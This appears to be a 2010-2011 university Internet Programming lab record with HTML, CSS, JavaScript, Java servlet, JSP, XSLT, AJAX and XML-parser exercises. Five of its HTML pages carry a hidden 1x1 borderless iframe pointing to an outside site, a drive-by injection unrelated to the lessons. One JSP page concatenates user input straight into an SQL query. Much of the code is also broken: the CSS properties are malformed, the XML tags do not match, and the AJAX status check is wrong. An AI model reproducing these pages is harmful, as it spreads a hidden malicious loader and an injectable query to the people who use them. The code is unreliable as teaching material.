You are on page 1of 65

DEPARTMENT OF COMPUTER SCIENCE

Certified that this is the bonafied record of work done by Mr/Ms of the 6th semester in INTERNET PROGRAMMING LAB (CS 67) during the academic year 2010-2011 in partial fulfillment of the requirements of the B.Tech degree course of the ANNA UNIVERSITY, Tirunelveli.

Staff in charge

Head of the Department

Reg. No: .. University Examination held on:

Internal examiner

External Examiner

INDEX
Name of the Lab: Name of the Staff:

EX No: 1 2 3 4 5 6 7 8 9 10

DATE

NAME OF THE PROGRAM

PAGE NO

SIGN

Ex No:1 ----------Aim:

IMAGE MAP

To create a web page with the following using HTML.

i. ii.

Using Ms paint draw India map store it in file. Using image maps fix the hotspots for metropolitan cities with the appropriate a) Delhi b) Bombay c) Calcutta d) Madras

Algorithm: Step 1:Start the program Step 2: Create a html document Step 3: Set the title for the web page. Step 4: Set the background colour. Step 5:Draw an India map in Ms paint and store in a file. Step 6: Set the font colour. Step 7: Create a html page by writing the coordinate. Step 8: Create a click table link within a client side image mapping using <area> </area> tag. Step 9: Define the shape of the workable area such as rectangle. Step 10: Specify the top, left, right, bottom coordinates of the linkable region within the image Step 11: Specify the URL that should be loaded when the area is created by using<href= > Step 12: Insert the image. Step 13: In this image the detail of places are linked by clicking the particular place. Step 14: Stop the program.

Program imagemap.html <html> <head> <title>India Map</title> </head> <body bgcolor=ivory> <p><img src="INDIA.gif" usemap=#INDIA></p> <map name="INDIA"> <area shape=square coords="183,188" href="delhi.html"> <area shape=square coords="175,409" href="mumbai.html"> <area shape=square coords="237,561" href="chennai.html"> <area shape=square coords="413,325" href="calcutta.html"> </body> </html> Delhi.html <html> <body> <b>Delhi</b><br><br> Capital of the Nation<br> situated on the Yamuna river<br> <p><a href="imagemap.html">back</a></p> </body> </html>

Mumbai.html <html> <body> <b>Mumbai</b><br><br> Old name is Bombay<br> Capital of Maharashtra<br> Located on Arabian Sea<br> The name Mumbai was developed in reference to the temple of the hindu goddess Mumba<br> Bombay,comes from the portuguess bombahia meaning "fairbay" <p><a href="imagemap.html">back</a></p> </body> </html>

Chennai.html <html> <body> <b>Chennai</b><br><br> Old name is Madras<br> Capital of TamilNadu<br> Located on the Bay of Bengal<br> Madras is founded in 1639 by the East India Company <p><a href="imagemap.html">back</a></p> </body> </html>

Calcutta.html <html>

<body> <b>Calcutta</b><br><br> New name is Kolkotta<br> Capital of West Bengal state<br> situated on the bank of the Hugli(hoogly)river<br> Kolkatta was founded as atrading post of English East India Company in the late 1600s <p><a href="imagemap.html">back</a></p> </body> </html>

Output

Conclusion:
Thus the program for implementing Image map using HTML was executed successfully.

Ex no:2 ----------Aim:

STYLE SHEETS

To create a web page with the following information. i. ii. iii. iv. Cascading style sheet. Embedded style sheet Inline style sheet Use our college information in the web page.

Algorithm: Step 1: Create a html document. Step 2: Set the title for web page. Step 3: Cascading style sheet is a simple mechanism for adding styles which include fonts, color, spacing to our document. Step 4: For cascading style sheet link tag should be used which tells the relationships between the current file and the linked file. Step 5: Embedded style sheets are specified with html tags. Inside the html tags we are Specifying some of the style, set the font size, set the font face. Step 6: Make the text bold, set the foreground color. Step 7: Underline the text by using text decoration. Step 8: Align the text in center, left, right, set the background color to black. Step 9: Create a hyperlink Step 10: Within the html tag we can specify the style in line.stylesheet Step 11: Stop the program.

Program
<!----------Mystyle.css----------> BODY { COLOR:mediumblue; FONT_FAMILY:'Areal','Ms Sans Serif','TimesNewRoman'; BACKGROUND.COLOR:mintcream; } P { MARGIN_LEFT:20px; COLOR:darkmagenta; TEXT_DECORATION:none } UL { MARGIN_LEFT:25px; COLOR:forestgreen; font_FAMILY:Verdana; } <!------------Stylemain.html---------------> <HTML> <HEAD> <LINK REL="STYLESHEET"TYPE="TEXT/CSS"HREF="mystyle.css"> </HEAD> <BODY> <P align=center><STRONG>

<font SIZE=5>LJCET</FONT> </STRONG></P> <P align=left><STRONG><u>courses offered</u><br> <Fom face="Ms Sans Serif"> <L1><a href="internalstyle.html">UG courses</a><br> <L1><a href="inlinestyle.html">PG courses</a> </UL></FONT> <iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe> </BODY> </HTML> <!---------------Internalstyle.html----------> <HTML> <BODY style="COLOR:mediumblue",FONT_FAMILY:'Arial','MS Serif','TimesNewRoman',"BACKGROUND_COLOR=mintcream"> <P align=center style="MARGIN_LEFT:20px,COLOR:darkmagenta,TEXT_DECORATION=none"> <STRONG>UG courses</STRONG></P> <UL style="MARGIN_LEFT:25px,COLOR:forestgreen,FONT_FAMILY:verdana"> <LI>CSE <LI>IT <LI>ECE <LI>AE <LI>ME </UL> <L1><a href="stylemain.html">back</a><iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe> </BODY> </HTML>

<!---------------------Inlinestyle.html----------------> <HTML> <HEAD> <STYLE> BODY { COLOR:mediumblue; FONT_FAMILY:Arial,'Ms sans serif','TimesNewRoman'; BACKGROUND_COLOR:mintcream } P { MARGIN_LEFT:25px; COLOR:forestgreen; FONT_FAMILY:verdana; } </style> </head> <body> <P align=center> <strong>PG courses</strong> </P> <UL> <LI>MCA <LI>MBA </UL><L1><a href="stylemain.html">back</a> <iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe>

</body> </html>

Output

Conclusion: Thus the program for implementing Style sheet was executed successfully.

Ex no:3 ----------Aim:

FORM VALIDATION

To validate a form including text field, radio button, check boxes and other controls using a java Script program. Algorithm: Step 1: Start the program. Step 2: Design html page with name, email address, phone number and country. Step 3:Design submit and reset buttons for submit and reset the form data. Step 4: Write the validate contact form function for validate al the html fields. Step 5: Call the Validate Contact Form() in form tag using unsubmit event. Step 6: Stop the program.

Validation.html <html> <head> <title>Form Validation Example</title> <script> function ValidateContactForm() { var name = document.ContactForm.Name; var email = document.ContactForm.Email; var phone = document.ContactForm.Telephone; var nocall = document.ContactForm.DoNotCall; var what = document.ContactForm.Subject; var comment = document.ContactForm.Comment; if (name.value == "") { window.alert("Please enter your name."); name.focus(); return false; } if (email.value == "") { window.alert("Please enter a valid e-mail address."); email.focus(); return false; } if (email.value.indexOf("@", 0) < 0) { window.alert("Please enter a valid e-mail address."); email.focus(); return false; } if (email.value.indexOf(".", 0) < 0) { window.alert("Please enter a valid e-mail address."); email.focus(); return false; } if ((nocall.checked == false) && (phone.value == "")) { window.alert("Please enter your telephone number."); phone.focus();

return false; } if (what.selectedIndex < 1) { alert("Please tell us how we can help you."); what.focus(); return false; } if (comment.value == "") { window.alert("Please provide a detailed description or comment."); comment.focus(); return false; } return true; } function EnableDisable(chkbx) { if(chkbx.checked == true) { document.ContactForm.Telephone.disabled = true; } else { document.ContactForm.Telephone.disabled = false; } } </script> </head> <body> <form method="post" action="mailto:kaliappan@nec.edu.in" name="ContactForm" onsubmit="return ValidateContactForm();"> <p>Name: <input type="text" size="65" name="Name"></p> <p>E-mail Address: <input type="text" size="65" name="Email"></p> <p>Telephone: <input type="text" size="65" name="Telephone"><br> <input type="checkbox" name="DoNotCall" onclick="EnableDisable(this);"> Please do not call me.</p> <p>What can we help you with? <select type="text" value="" name="Subject"> <option> </option> <option>Customer Service</option>

<option>Question</option> <option>Comment</option> <option>Consultation</option> <option>Other</option> </select></p> <p>Comments: <textarea cols="55" name="Comment"> </textarea></p> <p><input type="submit" value="Send" name="submit"> <input type="reset" value="Reset" name="reset"></p> </form> </body> </html>

Output :

Conclusion: Thus the program for implementing Form validation was executed successfully.

Ex.No:4 ----------Aim:

COLOR PALETTE

To write a program in java to create an applet with the i. ii. iii. Create color palette Set foreground and background of the text area by selecting s color from color palette. In order to select the foreground or background.

Algorithm: Step 1:Create a matrix of buttons is set on foreground color panel. Step 2: Group into a panel if displayed it at the left of the applet window. Step 3: Use check group to create radio button and group the button of the palette. Step 4: The remaining area is used to create a text area a set of background and foreground color. Step 5: When the appropriate window is split colors of foreground and background gets changed. Step 6: Stop the program.

Program import java.awt.event.*; import java.awt.*; public class ColorPalette extends Frame implements ActionListener { Checkbox back,fore; CheckboxGroup ground; TextArea output; Button b[]; Panel ctrls,buttons; ColorPalette() { super("Color Palette"); setSize(300,350); buttons=new Panel(new GridLayout(4,7)); b=new Button[28]; for(int i=0;i<28;i++) { b[i]=new Button(); buttons.add(b[i]); b[i].setBackground(new Color((int)(Math.random()*255),(int)(Math.random()*255),(int)(Math.random()*255))); b[i].addActionListener(this); } add(buttons,BorderLayout.SOUTH); ctrls=new Panel(null); ground=new CheckboxGroup(); back=new Checkbox("BackGround",ground,true);

fore=new Checkbox("ForeGround",ground,false); output=new TextArea(); back.setBounds(10,20,100,30); fore.setBounds(150,20,100,30); output.setBounds(10,50,280,150); ctrls.add(back); ctrls.add(fore); ctrls.add(output); add(ctrls,BorderLayout.CENTER); show(); addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent e) { System.exit(0); } } ); } public void actionPerformed(ActionEvent e) { for(int i=0;i<28;i++) { if(e.getSource()==b[i]) { if(fore.getState()==true) output.setForeground(b[i].getBackground());

else output.setBackground(b[i].getBackground()); } } } public static void main(String args[]) { new ColorPalette(); } }

Output

Conclusion: Thus the program for implementing color palette was executed successfully.

Ex.No:5 INVOKING SERVLET FROM HTML FORM ----------Aim: A program to invoke servlets from HTML form. Procedure: First create the following folders 1) Create servlet folder within web apps folder. C:\program files\apache software foundation\tomcat\webapps\servlet save servlet.html within that. 2) Create WEB-INF folder within servlet C:\program files\apache software foundation\tomcat\webapps\servlet \WEB-INF save web.xml file within that. 3) Create class folder within WEB-INF C:\program files\apache software foundation\tomcat\webapps\servlet \WEBINF\classes save sample.java file within that. In command prompt do the following 1. cd space give the full class program path cd C:\program files\apache software foundation\tomcat\webpps\servlet \WEBINF\classes; 2. Set the java bin path C:\program files\apache software foundation\tomcat\webapps\servlet \WEBINF\classes; Set path =%classpath%;c:\programfiles\java\jdk1.5\bin 3. Set the class path of servlet.api.jar C:\program files\apache software foundation\tomcat\common\lib servlet.api.jar 4. Compile servlet program. C:\program files\apache software foundation\tomcat\webapps\servlet \WEBINF\classes> javac servlet.java 5. Start Tomcat server. 6. Open the explorer and type http://localhost:8080/index.html

Program Index.html <body> <form action="http://localhost:8080/vijin/sample"> Enter ur name<input type="text" name="n1"><br> <input type="submit" > </body> </html> Web.xml <web-app> <servlet> <servlet-name>sample</servlet-name> <servlet-class>sample</servlet-class> </servlet> <servlet-mapping> <servlet-name>sample</servlet-name> <url-pattern>/sample</url-pattern> </servlet-mapping> </web-app>

Sample.java import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class sample extends HttpServlet

{ public void doGet(HttpServletRequest req,HttpServletResponse res)throws ServletException,IOException { res.setContentType("text/html"); PrintWriter pw=res.getWriter(); pw.println("hello"); pw.close(); } }

Output

Conclusion: Thus the program for invoking servlet from HTML was executed successfully.

Ex.No:6 ----------Aim:

INVOKING SERVLET FROM APPLET

A program to invoke servlet from applet. Procedure: First create the following folders i. Create servlet folder within webapps folder. C:\program files\apache software foundation\tomcat\webapps\servlet save index.html within that. Create WEB-INF folder within servlet C:\program files\apache software foundation\tomcat\webapps\servlet \ WEB-INF save web.xml file within that. Create class folder within WEB-INF C:\program files\apache software foundation\tomcat\webapps\servlet \WEBINF\classes save sample1.java file within that.

ii.

iii.

In command prompt do the following 1. cd space give the full class program path cd C:\program files\apache software foundation\tomcat\webapps\servlet \WEBINF\classes; Set the java bin path C:\program files\apache software foundation\tomcat\webapps\servlet \ WEB-INF\classes; Set path =%classpath%;c:\programfiles\java\jdk1.5\bin 2. Set the class path of servlet.api.jar C:\program files\apache software foundation\tomcat\common\lib servlet.api.jar 3. Compile servlet program. C:\program files\apache software foundation\tomcat\webapps\servlet \WEBINF\classes> Javac servlet.java 4. Start Tomcat server. 5. Open the explorer and type http://localhost:8080/Iindex.html

Index.html
<body> <form action="http://localhost:8080/vijin/sample1"> Enter ur name<input type="text" name="n1"><br> <input type="submit" > <iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe> </body> </html>

Web.xml
<web-app> <servlet> <servlet-name>sample1</servlet-name> <servlet-class>sample1</servlet-class> </servlet> <servlet-mapping> <servlet-name>sample1</servlet-name> <url-pattern>/sample1</url-pattern> </servlet-mapping> </web-app>

Sample1.txt
import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class sample1 extends HttpServlet { public void doGet(HttpServletRequest req,HttpServletResponse res)throws ServletException,IOException

{ res.setContentType("text/html"); PrintWriter pw=res.getWriter();String name=req.getParameter("n1"); pw.println("hello "+name+" pw.close(); } } you are welcome");

Output:

Conclusion:
Thus the program for invoking servlet from applet was executed successfully.

Ex.No:7 -----------

THREE TIER APPLICATION USING SERVLET

Aim: Write programs in java to create three tier applications using JSP and databases for conducting on-line examination for displaying student mark list. Assume that student information is available in a database which has been stored in a database server.

Procedure: Step 1:First install the Tomcat into the system. Step 2:Then make a sub directly(eg.,tr)in the \tomcat\webapps. Step 3:Under tr create WEB-INF directory and also place the html files in this tr directory only. Step 4:Next under WEB-INF create two subclasses lib, classes and web.xml. Step 5:Next place all the class files under the classes and jar files.(servlet-api.jar,classes12.jar etc) under lib subdirectories. Step 6:After this start Tomcat by giving the following command at the instl1_dir>tomcat>bin Catalina.bat run Step 7:At the I.E(web browser)give the url as http://localhost:8080//tr/htmlfile or servlet url pattern. Step 8:Port no 8080 is assigned for the tomcat.

Threetierexam.html <html> <head> <title>Untitled Document</title> </head> <body bgcolor="#66CCFF"> <p>ONLINE EXAMINATION </p> <hr> <p>Answer the following questions(each one 5 marks) </p> <form name="form1" method="post" action="threetierexam.jsp"> 1.Who is the father of Computer?</label><br> <input name="ans1" value="Sachin" type="radio">Sachin <input name="ans1" value="Rock" type="radio">Rock <input name="ans1" value="Charles Babbage" type="radio">Charles Babbage <input name="ans1" value="Napier" type="radio">Napier <br><br> 2.Who is the inventer of C Language?<br> <input name="ans2" value="Dennis Ritchie" type="radio">Dennis Ritchie <input name="ans2" value="None" type="radio">None <input name="ans2" value="David Ritchie" type="radio">David Ritchie <input name="ans2" value="John" type="radio">John <br><br> 3.Who is the inventer of C++ Language?<br> <input name="ans3" value="Dennis Ritchie" type="radio">Dennis Ritchie <input name="ans3" value="Stroustrup" type="radio">Stroustrup <input name="ans3" value="David Ritchie" type="radio">David Ritchie <input name="ans3" value="Charles Babbage" type="radio">Charles Babbage <br><br> <input type="submit" name="Submit" value="Check Your Result.." /> </form> </body> </html> Threetierexam.jsp <%@ page contentType="text/html; charset=iso-8859-1" language="java" import="java.sql.*" errorPage="" %> <html> <body bgcolor="#66CCFF"> <p><strong>ONLINE EXAMINATION </strong></p> <hr> <%

String str=request.getParameter("ans1"); String str1=request.getParameter("ans2"); String str2=request.getParameter("ans3"); int mark=0; Connection con=null; Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); con=DriverManager.getConnection("jdbc:odbc:examDS1"); Statement st=con.createStatement(); ResultSet rs=st.executeQuery("SELECT * FROM tab"); int i=1; while(rs.next()) { if(i==1) { String janswer1fromdb=rs.getString(1); if(str.equals(janswer1fromdb)) { mark=mark+5; } } if(i==2) { String janswer2fromdb=rs.getString(1); if(str1.equals(janswer2fromdb)) { mark=mark+5; } } if(i==3) { String janswer3fromdb=rs.getString(1); if(str2.equals(janswer3fromdb)) { mark=mark+5; } } i++; } if(mark>=10) { out.println("<h4>Your Mark Is : "+mark+"</h4>"); out.println("<h3>Congratulations....! You Are Eligible For The Next Round...</h3>"); } else { out.println("<h4>Your Mark is : "+mark+"</h4>");

out.println("<h3>Sorry....!! You Are Not Eligible For The Next Round...</h3>"); } %> <p align="center"><a href="threetierexam.html" class="style2">Back to Main Page</a> </p> </form> </body> </html>

OUTPUT

For displaying the student mark list. Assume student information is available in a database which has been stored in a database server

Three.html
<html> <head> <title>Three Tier Application</title> <body bgcolor="lightblue"> <h2>EXAMINATION RESULT</h2> <form name="frm1" method="GET" action="three.jsp"> <BR> Register Number:<input type="text" name="RollNo"><br> <input type="submit" value="RESULT"> </form> </body> </head> </html>

Three.jsp
<%@ page contentType="text/html; charset=iso-8859-1" language="java" import="java.sql.*" errorPage="" %> <html> <head> <title>OnlineExamination</title> </head> <body bgcolor="lightblue"> <form name="form1" method="post" action=""> <p align="center"><B>EXAMINATION RESULT</B></p> <hr> <% String str=request.getParameter("RollNo"); Connection con=null; Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); con=DriverManager.getConnection("jdbc:odbc:threetierDS"); Statement st=con.createStatement(); ResultSet rs=st.executeQuery("SELECT * FROM tab WHERE sno="+str+""); while(rs.next()) { %> <b>Name:<%=rs.getObject(2)%><br> Register Number:<%=rs.getObject(1)%></b><br><br> <table border="2">

<thead><th>SUBJECTS</th><th>MARKS</th></thead> <tbody> <tr><td>IP</td><td><%=rs.getObject(3)%></td></tr> <tr><td>OOAD</td><td><%=rs.getObject(4)%></td></tr> <tr><td>DSP</td><td><%=rs.getObject(5)%></td></tr> <tr><td>IS</td><td><%=rs.getObject(6)%></td></tr> <tr><td>CNS</td><td><%=rs.getObject(7)%></td></tr> <tr><td>TQM</td><td><%=rs.getObject(8)%></td> </tbody> </table> <% }%> </form> <a href="three.html">Back</a> </body> </html>

OUTPUT

Conclusion: Thus the program for implementing three tier application using servlet was executed successfully.

Ex no:8 ----------Aim:

XML-SCHEMA-XSLT/XSL

Develop a program using XML-SCHEMA-XSLT/XSL Algorithm: Step 1: The xsl:output element specifies how to display the result tree. Step 2: The XSL processor produces the output result tree. Step 3: It should be specified by Xsl:output element. Step 4: The method attribute of xsl:output specifies the overall process to produce the result tree. Step 5: the HTML output method results the tree as HTML document. Step 6: Stop the program.

Main.xml <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> <catalog> <book> <name>Data Structure</name> <author> balan </author> <binding>mass</binding> <price>500.00</price> </book> <book> <name>java</name> <author> Herbert</author> <binding>Mass</binding> <price>600.00</price> </book> <book> <name>Advanced operating system</name> <author>frank</author> <binding>mass</binding> <price>550.00</price> </books> </catalog>

Style.xsl <?xml version="1.0"?>

<xsl-stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl"> <xsl-template match="/"> <h2>Book in stock</h2> <table border="1" cellpadding="5"> <thead> <th>Name</th> <th>Author</th> <th>Binding</th> <th>price</th> </thead> <xsl:for-each select="catalog/book"> <tr align="center"> <td><xsl:value-of select="name"/></td> <td><xsl:value-of select="author"/></td> <td><xsl:value-of select="binding"/></td> <td><xsl:value-of select="price"/></td> </tr> </xsl:for-each> </table> </xsl-template> </xsl-stylesheet>

Output

Conclusion: Thus the program for implementing XML Schema was executed successfully.

Ex no:9 CREATION OF SEARCH ENGINE USING AJAX ----------Aim: To develop a enterprise program using AJAX.

Algorithm: Step 1: Use java script to initialize the XML HTML request object. Step 2: Use HTML to create areas for user input and output. Step 3: Use java script to send the user inputs to a server. Step 4: Process the data on a server. Step 5: Use java script to process any response from the server and display the result. Step 6: Stop the program.

Program AjaxSearch.html <html> <head> <script type="text/javascript"> function loadXMLDoc() { var xmlhttp; if(window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if(xmlhttp.readyState==4 && xmlhttp.status==0) { document.getElementById("myDiv").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","ajax_info.txt",true); xmlhttp.send(); } </script>

</head> <body> <div id="myDiv"><h2>Let AJAX change this text</h2></div> <button type="button" onclick="loadXMLDoc()">Change Content</button> <iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe> </body> </html> ajax-info <p>AJAX is not a new programming language.</p> <p>AJAX is a technique for creating fast and dynamic web pages.</p>

Output

Conclusion: Thus the program for creating search engine using AJAX was executed successfully.

Ex no:10 ----------Aim:

DOM AND SAX PARSERS

To implement DOM and SAX parser for parsing an xml document. Algorithm: Step 1: Start the program. Step 2: Design an xml document for employee details with name, id and age. Step 3: Create a java program for DOM parser and SAX parser in order to display the employee details. Step 4: Provide necessary exceptions. Step 5: Stop the program.

Program Employees.xml <?xml version="1.0" encoding="UTF-8"?> <personnel> <Employee Type="Personal"> <Name>Jai</Name> <Id>3674</Id> <Age>32</Age> </Employee> <Employee Type="Temp"> <Name>Naveen</Name> <Id>3675</Id> <Age>25</Age> </Employee> </personnel>

SaxParser.java import java.io.IOException; import javax.xml.parsers.ParserConfigurationException; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import org.xml.sax.Attributes; import org.xml.sax.InputSource; import org.xml.sax.SAXException; import org.xml.sax.XMLReader; import org.xml.sax.helpers.DefaultHandler;

public class SaxParser extends DefaultHandler{ public static void main(String args[]){ XMLReader xmlReader=null; try{ SAXParserFactory spfactory=SAXParserFactory.newInstance(); spfactory.setValidating(false); SAXParser saxParser=spfactory.newSAXParser(); xmlReader=saxParser.getXMLReader(); xmlReader.setContentHandler(new SaxParser()); InputSource source=new InputSource("Employees.xml"); xmlReader.parse(source); }catch(SAXException saxEx){ saxEx.printStackTrace(); }catch(ParserConfigurationException pcEx){ pcEx.printStackTrace(); }catch(IOException ioEx){ ioEx.printStackTrace(); } } public void startDocument()throws SAXException{ } public void startElement(String namespaceURI,String localName,String qName,Attributes atts)throws SAXException { if(qName.equals("Personnel")){ System.out.println("Welcome to employee details"); }else{ System.out.print(qName+":");

} } public void endElement(String namespaceURI,String localName,String qName,Attributes atts)throws SAXException{ } public void characters(char[]ch,int start,int length)throws SAXException { String data=new String(ch,start,length).trim(); if(data.length()>1){ System.out.println(" "+data); } } } DomParser.java import java.io.IOException; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.FactoryConfigurationError; import javax.xml.parsers.ParserConfigurationException; import javax.xml.transform.TransformerException; import javax.xml.transform.TransformerFactoryConfigurationError; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NodeList; import org.xml.sax.SAXException; public class DomParser

public static void main(String[]args)throws ParserConfigurationException,SAXException,IOException,TransformerFactoryConfigurationEr ror,Exception{ System.out.println("<===Inside Dom Parser Program........===>"); DomParser dp=new DomParser(); dp.parseDocument(); } private void parseDocument()throws ParserConfigurationException,SAXException,IOException,TransformerFactoryConfigurationEr ror,TransformerException { try { DocumentBuilderFactory domFactory=DocumentBuilderFactory.newInstance(); DocumentBuilder domBuilder=domFactory.newDocumentBuilder(); Document doc=domBuilder.parse("Employees.xml"); Element docEle=doc.getDocumentElement(); NodeList n1=docEle.getElementsByTagName("Employee"); System.out.println("XML Length-->"+n1.getLength()); if(n1 !=null&&n1.getLength()>0){ for(int i=0;i<n1.getLength();i++) { Element empE1=(Element)n1.item(i); String name=getTextValue(empE1,"Name"); int id=getIntValue(empE1,"Id"); int age=getIntValue(empE1,"Age"); String type=empE1.getAttribute("Type"); System.out.println("Employees Details-Name:"+name+",Type:"+type+",Id:"+id+",Age:"+age); }

} } catch(FactoryConfigurationError exp) { System.err.println(exp.toString()); } catch(ParserConfigurationException exp) { System.err.println(exp.toString()); } catch(Exception exp) { System.err.println(exp.toString()); } } private String getTextValue(Element ele,String tagName){ String textVal=null; NodeList n1=ele.getElementsByTagName(tagName); if(n1!=null&&n1.getLength()>0){ Element e1=(Element)n1.item(0); textVal=e1.getFirstChild().getNodeValue(); } return textVal; } private int getIntValue(Element ele,String tagName){ return Integer.parseInt(getTextValue(ele,tagName)); }}

Output

Conclusion: Thus the program for implementing DOM and SAX was executed successfully.

You might also like